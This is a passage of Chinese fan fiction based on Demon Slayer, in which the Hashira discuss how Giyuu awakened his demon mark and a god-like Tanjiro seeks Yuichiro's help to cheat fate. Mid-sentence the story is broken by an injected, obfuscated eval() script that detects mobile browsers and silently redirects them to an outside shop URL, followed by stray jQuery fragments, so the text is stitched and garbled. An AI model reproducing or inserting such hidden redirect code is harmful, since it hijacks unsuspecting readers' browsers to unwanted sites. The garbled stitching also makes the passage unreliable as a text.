后来，炭治郎讲到了最终决战。他的声音不自觉地低沉下去，带着沉重的敬意。
“无惨……主动袭击了产屋敷本家。”
他描述了大爆炸，描述了在烈焰中相拥而逝的产屋敷当主夫妇。在他的视角里，这场牺牲悲壮而决绝。
（炭治郎视角并不知道主公的两个女儿也陪着一起死了）
“之后，珠世夫人出现，给无惨下了剧毒。”
炭治郎继续道，眼中燃起一丝光芒，“可惜，无惨在最后将所有人都拉进了……‘无限城’。”
“我的记忆……就停留在那里了。在无限城里，和师兄一起，对上弦之叁·猗窝座。”
他看向身旁的义勇，眼神明亮起来，带着纯粹的敬佩。
“对了！那时候，师兄开启了‘斑纹’！”
这个词如同投入静湖的石子，激起波澜。
“斑纹？！” 几位柱同时出声，目光锐利地聚焦过来。这是传说中的力量，数百年来无人再现。
“是什么样的？” 炼狱杏寿郎洪声问道，金红眼眸灼灼。
炭治郎努力回忆，用手比划着自己的脸颊 。
“在他的脸侧，靠近耳朵的地方，出现了像是……水波一样的红色纹路，还会微微发光，很漂亮，但气息也变得非常、非常强大。”
富冈义勇的指尖几不可察地蜷缩了一下。
这个描述，像一把精准的钥匙，瞬间捅开了他记忆深处那扇紧闭的门。
在那个风雪之夜，那个脸上有着相似纹路、气息宛如神临的“存在”，那个与他容貌别无二致、却又截然不同的[义勇]。
神篱秀子低声的告诫在耳边响起，他将涌到喉头的、关于“另一个自己”的疑问死死压下，只是本就深邃的蓝眸，颜色又暗沉了几分。
此事，不宜宣之于众。主公和天音夫人知晓，是因血脉可以承受。
对他人而言，知道得太多，或许反受其累。
于是义勇忍住了当众询问炭治郎的欲望。
“怎么开启的？” 不死川实弥问得最直接，他身体前倾，疤脸上写满急迫。任何能变强、能杀鬼的力量，他都要知道。
炭治郎被问得一愣，他当时全部心神都在战斗上，哪会仔细分析这个。他努力回想猗窝座那毁灭性的一拳，和义勇飞出去又带着更盛气势回来的画面……
“就是……”他有些不确定地，用最直白的方式复述了当时的情景，“猗窝座把师兄打飞了好远，撞塌了好多柱子。然后师兄回来的时候……脸上就有斑纹了。”
他顿了顿，想起了义勇回来后那句罕有的、带着明显情绪的话，小声补充道：
“哦，师兄当时还说……‘现在很生气，因为背很痛’。”
会议室里出现了短暂的寂静。
“……”
几道目光下意识地飘向面无表情的富冈义勇，想象着那张冷脸说出“背很痛”的样子，气氛一时有些微妙。
“噗。” 蝴蝶忍最先没忍住，用袖子轻轻掩住唇，肩膀可疑地抖动了一下。
这理由也太过“富冈义勇”了。
宇髓天元摸了摸下巴：“嚯？极致的愤怒，伴随着剧痛和强烈的杀意……听起来倒是个相当华丽的觉醒契机呢！”
炼狱杏寿郎重重点头，洪亮的声音打破了沉默，带着他一贯的正面解读与热血：“唔姆！原来如此！在守护同伴（和重要之人）的意志驱动下，身体的痛苦与精神的愤怒一同化为燃料，冲破了极限的枷锁！非常合理！令人振奋！”
他非常体贴地省略了“重要之人”的具体所指，但在场众人都心照不宣地，将目光在炭治郎和义勇之间微妙地扫了一个来回。
不死川实弥嗤了一声，但眼神认真了起来。
愤怒？这他可不缺。背痛？哪天不痛。看来这斑纹，也不是那么遥不可及。
悲鸣屿行冥双手合十，流着泪，仿佛已有所悟。伊黑小芭内则沉默着，镝丸轻轻蹭了蹭他的脸颊。
与此同时，时透家宅。
时透有一郎提着精心准备的补品归来，家中却空无一人，父母不见踪影。
一股熟悉却又陌生的气息，如月光般悄然弥漫在庭院中。
他转身，看见了那个身影。
依旧是记忆中的面容，红发赫眸，却笼罩着一层非人的淡漠光泽，仿佛由月光与寂静凝结而成。
眼神空茫，不再有往日的温柔，更接近某种自然规则的化身，或者说……世人概念中的“神明”。
“丹次郎哥哥？”有一郎试探着轻声唤道，心脏因那丝极度稀薄、却顽强存在的熟悉感而揪紧。
那“存在”微微转动眼眸，空茫的视线落在他身上。
就在这一瞬，时透有一郎凭借灵魂深处的笃定，认出了他。
不是神明，是那个会无奈笑他多想、会悄悄给无一郎带玩具、会温柔教导他呼吸法的丹次郎哥哥。
就是这份毫无动摇的、来自“人”的认知与呼唤——
如同最坚韧的绳索，抛向了在规则之
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16988807|193664||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
海中即将彻底沉没的孤舟。
［炭治郎］眼中那空茫的神性骤然波动，一丝属于其本身的、深藏的悲伤与温暖，挣扎着浮现！
……谢谢。有一郎。
他在心底无声地说。认知锚定，人性回归。
那夜“死亡”后，世界意志并未放他归去，而是将他这高维存在同化，成为了维护此世大体命运的“规则执行者”。
只要他收拾好自己曾造成的“烂摊子”，便能以这种形态“存活”。
他无法接受。成为规则，意味着失去自我，失去所有为人的情感与记忆。在无尽规则的侵蚀下，他正一点点滑向虚无。
直到此刻，直到这个唯一知晓他部分过去、并坚信他是“丹次郎哥哥”而非规则”的少年，用一声呼唤和坚定的认知，将他从被同化的边缘，狠狠拽了回来。
他闭上眼，再睁开时，周身那非人的淡漠消散了大半，虽然依旧带着历经沧桑的疲惫，但眼底已有了属于人的温度与情感。
他看向有一郎，露出了一个久违的、属于 [炭治郎] 的、带着歉意与恳求的浅淡笑容。
“有一郎，我需要你的帮助。” 他轻声说，声音还有些飘忽，却清晰可辨。
他抬起手，指尖微光流转，一段影像般的记忆，直接流入有一郎的脑海，那是无一郎原本的命运轨迹。
父母早逝、兄长为保护自己被恶鬼残忍杀害、自己因打击过大而失忆，浑噩加入鬼杀队，在另一个炭治郎的鼓励下于生死关头恢复记忆，以14岁之龄反杀上弦之伍，最终却在无限城中，遭遇先祖黑死牟，被其腰斩而亡……
有一郎看着，只觉得心脏被一只无形的手死死攥住、碾碎！他的弟弟，他发誓要保护一辈子的无一郎……明明才14岁！
影像结束，有一郎脸色惨白，身体微微发抖，不是恐惧，是极致的心痛与愤怒。
［炭治郎］的声音将他拉回现实，那声音里带着孤注一掷的决绝：
“有一郎，我希望你能帮助我，我们一起，大致‘完成’这些命运节点。”
“你的父母，时透昭明和夕雾，已经被我秘密送入我以残余力量维持的‘领域’。在那里，他们会安全生活，规则无法察觉他们的存活。”
“但你不同。你一直活在无一郎的记忆与心里，是他命运的关键一部分。所以，我需要你以‘灵魂体’的方式暂时存在，配合我，演一场戏给‘命运’和‘规则’看。”
“我们一起，骗过这该死的命运。你，愿意帮我吗？”